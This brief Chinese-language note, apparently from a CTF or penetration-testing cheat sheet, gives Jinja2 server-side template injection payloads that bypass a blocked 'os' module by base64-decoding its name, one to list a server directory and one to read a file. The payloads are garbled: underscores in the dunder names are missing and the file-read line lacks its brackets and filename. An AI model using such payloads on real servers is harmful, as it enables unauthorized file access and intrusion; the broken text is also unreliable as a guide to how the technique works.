os被禁用,用base64绕过

    显示目录:{{‘’.class.mro[2].subclasses()[71].init.globals[“b3M=”.decode(‘base64’)].listdir(‘.’)}}

    读文件:{{‘’.class.mro[2].subclasses()40.read()}}